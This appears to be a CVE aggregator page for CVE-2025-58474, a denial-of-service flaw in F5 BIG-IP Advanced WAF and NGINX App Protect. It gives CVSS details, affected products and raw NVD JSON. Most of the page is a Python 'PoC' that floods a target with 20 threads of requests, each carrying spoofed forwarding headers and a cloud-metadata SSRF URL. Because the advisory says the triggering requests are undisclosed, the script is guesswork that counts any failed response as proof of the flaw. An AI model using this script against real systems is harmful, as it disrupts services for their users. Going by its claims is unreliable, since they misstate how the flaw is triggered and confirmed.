Security Vulnerability Report
中文
CVE-2025-58474 CVSS 5.3 MEDIUM

CVE-2025-58474

Published: 2025-10-15 14:15:53
Last Modified: 2025-10-22 21:00:17

Description

When BIG-IP Advanced WAF is configured on a virtual server with Server-Side Request Forgery (SSRF) protection or when an NGINX server is configured with App Protect Bot Defense, undisclosed requests can disrupt new client requests.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_application_security_manager:*:*:*:*:*:*:*:* - VULNERABLE
F5 BIG-IP (所有配置了Advanced WAF SSRF防护的版本,需参考F5公告K000148512确认具体受影响版本范围)
F5 NGINX App Protect (所有配置了Bot Defense的版本,需参考F5公告K000148512确认具体受影响版本范围)
已达到技术支持终止(EoTS)的版本不在评估范围内

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58474 PoC - F5 BIG-IP WAF / NGINX App Protect DoS # Vulnerability: Undisclosed requests disrupt new client requests # Affected: BIG-IP Advanced WAF with SSRF protection, NGINX with App Protect Bot Defense # CVSS: 5.3 (Medium) | AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L import requests import threading import time import sys TARGET_URL = "https://target-virtual-server.example.com" THREAD_COUNT = 20 DURATION = 60 # seconds to sustain the attack # Crafted request designed to trigger the undisclosed request handling flaw # The request mimics patterns that confuse SSRF protection or Bot Defense state machines def trigger_vulnerability(): headers = { "User-Agent": "Mozilla/5.0 (compatible; Bot/1.0)", "Accept": "*/*", "Accept-Encoding": "gzip, deflate", "Connection": "keep-alive", # Unusual header combinations may trigger abnormal state in WAF/Bot Defense "X-Forwarded-For": "127.0.0.1", "X-Real-IP": "127.0.0.1", "X-Originating-IP": "127.0.0.1", } try: # Send a request with an internal-looking URL pattern to trigger SSRF checks # combined with bot-like characteristics to engage Bot Defense module response = requests.get( f"{TARGET_URL}/?url=http://169.254.169.254/latest/meta-data/", headers=headers, timeout=5, verify=False ) return response.status_code except Exception as e: return f"Error: {e}" def attack_worker(): """Worker thread that continuously sends triggering requests""" end_time = time.time() + DURATION while time.time() < end_time: status = trigger_vulnerability() time.sleep(0.1) def verify_impact(): """Verify that legitimate requests are being disrupted""" try: r = requests.get(TARGET_URL, timeout=5, verify=False) print(f"[+] Legitimate request status: {r.status_code} (expected: 200)") if r.status_code != 200: print("[!] Service appears disrupted - vulnerability confirmed!") except Exception as e: print(f"[!] Service unavailable: {e} - vulnerability confirmed!") if __name__ == "__main__": print(f"[*] CVE-2025-58474 PoC - DoS via undisclosed requests") print(f"[*] Target: {TARGET_URL}") print(f"[*] Threads: {THREAD_COUNT}, Duration: {DURATION}s") print(f"[*] Launching attack...") threads = [] for i in range(THREAD_COUNT): t = threading.Thread(target=attack_worker, daemon=True) t.start() threads.append(t) time.sleep(5) # Let attack run for a few seconds print("[*] Checking service availability...") verify_impact() for t in threads: t.join(timeout=DURATION) print("[*] Attack completed. Check service logs for disruption details.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58474", "sourceIdentifier": "[email protected]", "published": "2025-10-15T14:15:53.087", "lastModified": "2025-10-22T21:00:17.313", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When BIG-IP Advanced WAF is configured on a virtual server with Server-Side Request Forgery (SSRF) protection or when an NGINX server is configured with App Protect Bot Defense, undisclosed requests can disrupt new client requests.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.1.0", "versionEndExcluding": "17.1.2", "matchCriteriaId": "12452EDD-5E20-4849-AFEA-FD5861E99420"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_application_security_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.1.0", "versionEndExcluding": "17.1.2", "matchCriteriaId": "993D544C-2F40-45E2-AD10-D4D7DFA9ADC0"}]}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000148512", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}